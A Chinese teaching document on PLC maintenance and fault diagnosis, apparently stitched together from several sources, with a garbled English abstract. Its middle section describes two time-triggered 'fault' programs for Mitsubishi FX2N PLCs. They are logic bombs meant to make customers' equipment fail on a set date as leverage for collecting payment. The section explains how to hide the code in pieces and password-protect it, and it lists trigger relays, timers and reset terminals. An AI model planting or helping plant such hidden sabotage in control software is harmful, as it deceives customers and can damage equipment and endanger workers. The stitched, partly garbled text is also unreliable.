PLC故障检测与日常维护教学文稿文档格式.docx
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PLCremaineddaylyandfaultsdetected
Chengcaixiayuyaling
Abstract：
thispaperintroducesenvirmentsofrunningPLC、workingofremainingplcandmethodsofdetectingsafelyeveryPLC’sparts
Keywords：
PLC、parts、methodsofdetectingsafely
一、运行环境的保证
因为PLC为精密电子产品，自动化控制的系统是要求长时间不间断运行，因此PLC的运行环境要求极高，要防尘、防火、防水，防高温，防雷电，因此电气控制室一般都安排在具有双层玻璃的、安装有水式制冷空调的二楼，电控室的温度一般控制在28度左右;
对于防尘则是将PLC安装在1M＊2.2M＊0.6M的带锁前面板为玻璃门的控制柜中，此柜上部安装有防尘罩的抽风系统进行柜内降温。
二、做好日常工作
1、日常准备工作：
首要的熟悉工艺流程，其次是对PLC各种模块的说明资料的熟悉，再次现场布局的了解，最后确保自已的各种检测工具要完好无误。
2、日常点检工作：
定期进行CPU的电池的电压检测，正常常情况下为3V，定期对构成PLC系统的相关设备的点检和维护，如UPS定期维护，利用停机时机，对PLC各控制柜进行人工除尘、降温，PLC程序的定期人工备份和电池备份及各相关坏器件的更换等工作。
三、PLC故障的诊断
（一）总法则：
对于PLC系统的故障检测法：
一摸、二看、三闻、四听、五按迹寻踪法、六替换法。
一摸，查CPU的温度高不高，CPU正常运行温度不超过60℃，因手能接受的温度为人体温度37～38℃，手感为宜;
二看，看各板上的各模块指示灯是否正常;
三闻，闻有没有异味，电子元件或线缆有无烧毁;
四听，听有无异动，镙丝钉松动、继电器正常工作与否，听现场工作人员的反映情况;
五出现故障根据图纸和工艺流程来寻找故障所在地;
六对不确定的部位进行部件替换法来确定故障。
（二）具体步骤：
当PLC的软件不正常时，主要看CPU的RUN状态是否正常，不正常则进行CPU清除后重新下载控制程序。
当PLC硬件不正常时则要按以下顺序进行检查工作：
1、查看PLC电源是否有电：
有电则测量电压是否在+24V的±
5%范围之内，有电且正常，则进行下一步;
有电不正常则进行电源模块的输出端与输入端进行检测，若输出端不正常而输入端正常，则更换模块;
若输入端不正常，则进行输入端的逆流法则进行相应检查，如进行24V交直流变压器的输入电压端的交流电压220V的±
10%检查，正常，则更换直流24V变压器。
无电则按迹寻踪，借助原理图+现场布置总图+接线图纸，检查给电源模块供电的各种电器器件的输出端的接线是否正确，不正确，重新接线;
正确用万用表则检查空气开关的进线端与出线端有无正常供电，无正常供电，查明是外界还是自身原因，若为外界则是电压不足还是根本无电压，或负载过重，又或严重过流等等的分析，一直到将事故排除正常供电为止;
若为本身器件坏则更换之。
2、了解过CPU工作模式及优先级：
高优先级有STOP、HOLDUP、STARTUP（WARMRESTART、COLDRESTART）;
低优先级有：
RUN、RUN-P（PG/PC的在线读写程序）。
查看CPU是在RUN模式，或是在STOP模式，又或是RUN模式的闪烁状态和STOP模式兼有的保持模式或叫调试模式。
如果仅是RUN模式则CPU和各板为正常进行第3步。
如果是保持模式出现，可能是运行过程中用户程序出现断点而处于调试程序状态，或在启动模式下断点出现，对此情况重新调试好程序，再次将控制程序下载到CPU中方可。
如果是STOP模式，目测引起STOP的原因分析：
A、无电，分析无电原因，是因为供电部门出问题，还是异常掉电（因有有1K3AH的UPS保证很少发生异常掉情况），通常情况下为检修拉电了，待检修结束后进行人工送电。
再利用PLC的在线功能将CPU的工作模式从STOP转换为RUN;
B、CPU坏，更换新的好的同种类型同版本的CPU;
C、有板子坏了，有序进行板子的更换。
对于硬件更换时要注意使用与原来的器件相同的产品同型号、同版本来进行，否则会造成实际的PLC配置与相应编程软件中硬件配置数据库中硬件配置不同而无法进行用户控制程序的正常循环执行。
3、进行各个主板和扩展板上的通迅电缆检查和各模块各LED灯的检察，看是否有坏模块出现fault灯亮，若有则该模块不正常。
对于数字量输出模块上各点其实与现实生活上的电灯开关是一样的功能且为常开点，所以在线检修该模块的任一点时，只要在无接线时且该地址在控制程序不给输出信号时来检测其通不通就可以了，若通，则该点不正常，不通则正常;
不正常时要进行硬件连接线的另选点重接工作;
另外我们也可以用新模块进行更换后，对替换下来的模块的点进行测量通断状态，通，则该点坏，不通该点为好。
对于数字量输入模块的点当于导通的线圈，为常闭状态，它可以在线或下线检测，用表检测若是坏点的话则是不通的状态，则换点重接线;
好点则为通状态。
只要对硬件接线重新换点重接后均要用相应编程软件对控制软件进行0X或1X地址替换工作。
对于模拟量输入模块是与数字量输入模块相同，每个通道都相当于一根导线形式，也就是说相当于常闭点，所以检测通道好坏的方法为用表的测通断功能来检测，当通状态时为好，断状态时为坏通道;
模拟量输出模块的检测方法与数字量输出模块相同。
若坏通道则对硬件接线需要更换通道与并同时替换控制程序中的相应3X或4X地址;
另外对于模拟量模块则要进行量程块的选择的检查，保险丝是否断开的检查等工作。
软件配置是否正常，一般为电压1～5V或电流4～20mA，这根据所用的传感器与智能转换器类型来选择。
进行过硬件点或通道更换工作后条件允许的话均要STOPPLC的CPU，再重新下载程序，若条件不允许则直接用更新变化来下载变化的程序而不停CPU。
对于不用的输入模块的好通道/好点与最后一个已用的一好通道/好点进行串联或在软件中进行特别设置。
4、对大量输出模块的板子上的电源模块在正常生产状态时是不能断电的，因为此时断电的话，将使继电器柜中的常开继电器变为常开状态，容易发生错误，因此要对此类的输出模块进行检测时，要与现场操作人员进行联系，进行该部分相关设备进行手动操作后，再撤去数字量输出模块的供电线后对模块测点工作。
5、各类开关类的检测工作：
如继电器、接近开关、空气开关等器件的检测工作，是根据开关的类型是常闭型还是常开型来区分，用表来检测其通与不通的状态，其状态与好器件状态相反，则该器件坏了，更换之。
对于电路大部情况利用常开型，它们是用来人工控制或自动控制电流的接通与断开的;
对于常闭型主要用在保护电路中。
借此可以知道开关类和保护类器件的正常状态为如何而正常识别器件的好坏。
6、通迅模块的检测则是利用简单的用好的新的通迅模块进替换来识别板上的正在使用的模块是否正常。
7、导线的测量方法：
导线也是通过检测通断方法进行的。
可以利用已知通的导线来检测不知是否好坏的导线，方法是将好的导线与未知导线连接起来后测通断状态。
8、电阻检测：
带电状态时检测电压，不带电时检测相应的电阻。
四、总结
通过以检测可以排除工作中的大部分故障，另外由于本工作涉及到交流单相电220V与直流电24V的交叉作业，工作时要注意积累安全用电知识与常识，以及在工作时的安全防范措施和煤气安全规程，以确保安全作业。
一、PLC受干扰引起的故障
PLC受干扰将会影响系统信号．造成系统控制精度降低，PLC内部数据丢失，机器误动作，严重时可能会发生人身和设备事故。
采取相应的技术措施。
增强PLC系统抗干扰能力是很有必要的。
干扰有内部干扰和外部干扰。
在现场环境中外部干扰是随机的，与系统结构无关。
只能针对具体情况对干扰源加以限制。
内部干扰与系统结构有关。
通过精心设计系统线路或系统滤波等处理。
可使干扰得到最大限度的抑制。
PLC生产现场的抗干扰技术措施，通常从接地保护、接地方式、屏蔽和抗噪声等多方面进行考虑。
对于供电系统的强电设备。
其外壳、柜体、柜架、机座及操纵手柄等金属构件必须保护接地：
PLC的内部电路包括EPU、存储器和其他接口共接数字地，外部电路包括A/D、D／A等共接模拟地，并用粗短的铜线将PLC地板与中央接地点连接以防噪声干扰。
PLC非接地工作时，应将PLC的安装支架容性接地，以抑制电磁干扰。
在PLC系统中。
导线主要有PLC和负载电源线、交流电压的数字量信号线、直流的数字量信号线、模拟量信号线等。
根据接线的功能不同。
其防干扰措施如下：
1．电气柜内接线安排只有屏蔽的模拟量输入信号线才能与数字量信号线装在同一电缆槽内：
直流电压线和模拟量信号线不能与交流量电压线装在同一电缆槽内：
只有220V电源线才能与信号线装在同一电缆槽内；
电气柜的进出口屏蔽一定要接地。
2．电气柜外接线安排直流和交流电压的数字量信号线以及模拟量信号线（要用屏蔽电缆）一定要各自用独立的电缆：
信号线电缆与电源电缆同装在同一电缆槽内，但为了改进抗噪性能，建议将其间隔10cm左右。
3．屏蔽PLC机壳屏蔽，一般将机壳与电气柜浮空，在PLC机壳地板上加装一块等位屏蔽板．保护接地与地板保持一定的连接，使用铜导线时，其截面积不小于10mm2，以构成等位屏蔽体，有效的消除电磁干扰。
电缆屏蔽，一般对载送小信号（mV或μV）的模拟员信号线，要将其电气柜内电缆屏蔽体的一端连接到屏蔽母体，数字量信号线的屏蔽不超出屏蔽母体；
对模拟量的屏蔽总线可绝缘。
并将中央点连接到参考电位或地；
数字量信号线两端接地可消除高频干扰。
4．抗噪声措施对处于强磁场做口变压器）的部分进行金属屏蔽，电控柜内不采用荧光灯具照明。
此外，PLC系统控制电源也应采用相应的抗干扰措施。
因为，PLC控制系统的电源。
一般都是220V市电。
电网的瞬变过程是经常发生的，电源波动大的感性负载或晶闸管装置的切换，很容易造成电压缺口或毛刺，如果直接供电经PLC及I/O模板，将引起不良后果。
PLC系统电源抗干扰的方法有：
（1）采用隔离变压器；
（2）采用低通滤波器；
（3）应用频谱均衡法。
其中隔离变压器是常用的，因为PLC、I／O模块电源常用DC24V，需经隔离变压器降压，再经整流桥整流供给。
二、PLC周期性死机
PLC周期性死机的特征是：
PLC运行若干时间就出现死机，程序混乱，出现不同的故障显示。
重新启动后又一切正常。
现场实践认为，长时间积灰是造成PLC周期性死机的最常见原因，应定期对PLC机架插槽接口处进行清扫。
清扫时，可先用压缩空气或“皮老虎”将控制板上的灰尘吹净，再用95％的酒精洗净插槽及控制板插头，清扫完毕后细心组装，恢复开机便能正常运行。
三、PLC程序丢失
PLC程序丢失通常是因为接地不良或接线有误、操作有误和干扰等几方面原因造成。
1．PLC主机及模块必须有良好的接地，通常采用主机外壳与开关柜外壳连接接地，当出现接地不良时，应考虑采用多股铜心线，采用从主机接地端子直接接地，确保良好接地。
此外，还应保证I/O模块24V直流电源负极有良好的接地。
2．主机电源接线端子相线必须连接正确，不然也会出现主机不能启动，时常出错或程序丢失现象。
3．为了防止程序丢失，需准备好程序包。
一个完好的程序需提前打人程序包，以备急需。
4．使用编程器查找故障时。
将锁定开关置于垂直位置，然后拔出，就可起到保护内存的作用。
如果要断开PLC系统电源，则应先断开主机电源，然后再断开I／O模块电源，如果先断开I／O部分电源，或．I／O部分和主机电源同时断开，则会使断电处理间存入不正确数值而造成程序混乱。
5．由于干扰原因造成PLC程序丢失，其处理方法可参照PLC受干扰引起的故障的处理，尽可能地抑制和削弱干扰。
一、定时触发故障PLC程序（PLC为实时时钟）[/color]该程序是用三菱PLC编程软件GXDeveloperV7.08J（SW7D5C-GPPW）简体中文版所编的程序，仅适用于三菱FX2N系列PLC。
该程序是为设备制造商收取剩余款项而设的筹码，在设备制造商老板有要求时可以使用，仅适用于信誉度不好的客户。
该程序一旦触发，无论设备是否处于运行状态、PLC是否处于运行状态或通电状态，指定时间以后将会准时出现故障。
请谨慎使用！
该程序应当嵌入应用程序之中，为避免他人识破，可以将程序分成多块分别嵌入在应用程序的各个地方。
为避免他人修改你的程序，应当将整个程序进行加密——设置口令，具体操作方法请参阅程序加密的相关说明。
M490为故障触点，应当串联或并联在程序多个关键动作回路中。
X20为定时触发故障复位端子，要求该端子为没有被使用的端子（否则请更换为另一个没有被使用的端子）。
需要解除还没有被触发的故障或已经触发的故障时，将该触点和PLC的输入COM端短接即可。
如果系统当前时间还没到故障触发时间，一旦该端子与COM端子断开，故障将在预定时间触发！
如果系统当前时间已经过了指定的故障触发时间，一旦该端子与COM端子断开，故障将立即触发！
如果需要重新指定故障触发时间，就必须得更改指定的故障触发时间——需要对PLC进行编程！
该程序指定的故障触发时间为2007年1月1日0时0分0秒，可以进行更改。
该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5，请不要在程序的其它地方使用，否则该程序可能无法正常发挥作用。
对于三菱其它系列PLC或其它品牌PLC，请对程序作相应更改——各存储器请按照相应存储区域进行更改。
该程序并没有修改PLC的系统时钟，因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
在程序动作之前，应当检查PLC的系统时钟是否正确反映当前日期和时间（因为PLC的默认系统时钟可能不正确，笔者就遇到过系统时钟快一个小时多一点的情况）。
检查方法如下：
启动三菱PLC编程软件GXDeveloperV7.08J（SW7D5C-GPPW）简体中文版到一个新的窗口，将电脑与PLC正确连接（具体连接方法请参阅相关说明<
比如采用SC09连接电缆或等同功能电缆，加接USB转RS232电缆（需要加安装驱动）等等>
），然后点击“在线”——“PLC读取”——“确认”（对于部分笔记本电脑（比如顶星品牌龙尊系列某型号的笔记本电脑），默认串口为COM2，这种情况下需要将COM口选为COM2，具体操作方法不再赘述），然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后，马上检查M8018（年）、M8017（月）、M8016（日）、M8015（时）、M8014（分）、M8013（秒）是否大概是当前正确时间（请注意，软元件内存只是下载时的PLC内存，并不能实时反映PLC的当前软元件内存数据。
所以，软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢）。
或者，采用另外一种更简单的方法：
直接PLC在线连接的下拉菜单中选择PLC时间设置选项，然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟，不实时跟随。
如果PLC的系统时钟不能正确反映当前日期和时间，那就需要对软元件内存进行修改。
修改方法为：
1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项，然后更改时间就可以了。
但该方法一次性只能更改一回时间，一旦更改后时间就实时跟随了，无法再进行更改。
如果需要再次更改，需要将该窗口关闭后重新打开，然后再进行时间的更改。
2、通过程序的相关指令（例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间，具体指令此处就不再赘述了）。
通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验，证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容，也就是说特殊存储区没被列入“软元件内存”的范围之内！
以下为梯形图：
[color=#0000FF]二、定时触发故障PLC程序（PLC非实时时钟）[/color]该程序是用三菱PLC编程软件GXDeveloperV7.08J（SW7D5C-GPPW）简体中文版所编的程序，仅适用于三菱FX2N系列PLC。
该程序一旦触发，无论设备是否处于运行状态、PLC是否处于运行状态或通电状态，一年以后（时间长短可以修改）将会准时出现故障。
X0是定时触发故障触发端子，X0只要在PLC处于运行状态下至少动作过一次就可以了。
X1为定时触发故障复位端子，要求在通常情况下，连续动作时间不能超过30秒（时间可以修改），否则请改为另外一个输入触点。
需要解除故障触发功能时，让X1保持通电30秒（时间可以修改）即可。
也可以将X1改为最后一个未用的输入触点，需要永远解除故障触发功能时，将该触点和PLC的输入COM端短接即可。
如果只是让定时触发故障复位端子接通超过30秒（时间可以修改）然后断开，那么一年以后（时间长短可以修改）仍然会准时出现故障。
如果希望永远解除定时故障触发功能，请将定时触发故障复位端子和PLC的输入COM端短接即可。
该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5，请不要在程序的其它地方使用，否则该程序可能无法正常发挥作用。
对于三菱其它系列PLC或其它品牌PLC，请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能，其它存储器请按照相应存储区域进行更改。
该程序动作后，PLC的系统时钟并非是实时时钟，因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。
一般各型PLC（以下以无锡华光电子工业有限公司生产的SR系列PLC，做为描述样板，其余各型PLC大同小异）均设计成长期不间断的工作制。
但是，偶然有的地方也需要对动作进行修改，迅速找到这个场所并修改它们是很重要的。
修改发生在PLC以外的动作需要许多时间。
查找故障的设备
SRPLC的指示灯及机内设备，有益于对PLC整个控制系统查找故障。
编程器是主要的诊断工具，他能方便地插到PLC上面。
在编程器上可以观察整个控制系统的状态，当您去查找PLC为核心的控制系统的故障时，作为一个习惯，您应带一个编程器。
基本的查找故障顺序
提出下列问题，并根据发现的合理动作逐个否定。
一步一步地更换SR中的各种模块,直到故障全部排除。
所有主要的修正动作能通过更换模块来完成。
除了一把螺丝刀和一个万用电表外，并不需要特殊的工具，不需要示波器，高级精密电压表或特殊的测试程序。
1、PWR（电源）灯亮否？
如果不亮，在采用交流电源的框架的电压输入端（98-162VAC或195-252VAC）检查电源电压；
对于需要直流电压的框架，测量+24VDC和0VDC端之间的直流电压，如果不是合适的AC或DC电源，则问题发生在SRPLC之外。
如AC或DC电源电压正常，但PWR灯不亮，检查保险丝，如必要的话，就更换CPU框架。
2、PWR（电源）灯亮否？
如果亮，检查显示出错的代码，对照出错代码表的代码定义，做相应的修正。
3、RUN（运行）灯亮否？
如果不亮，检查编程器是不是处于PRG或LOAD位置，或者是不是程序出错。
如RUN灯不亮，而编程器并没插上，或者编程器处于RUN方式且没有显示出错的代码，则需要更换CPU模块。
4、BATT（电池）灯亮否？
如果亮，则需要更换锂电池。
由于BATT灯只是报警信号，即使电池电压过低，程序也可能尚没改变。
更换电池以后，检查程序或让PLC试运行。
如果程序已有错，在完成系统编程初始化后，将录在磁带上的程序重新装入PLC。
5、在多框架系统中,如果CPU是工作的,可用RUN`继电器来检查其它几个电源的工作。
如果RUN继电器未闭合（高阻态）,按上面讲的第一步检查AC或DC电源如AC或DC电源正常而继电器是断开的,则需要更换框架。
一般查找故障步骤
其他步骤于用户的逻辑知识有关。
检查应按从有
升级会员 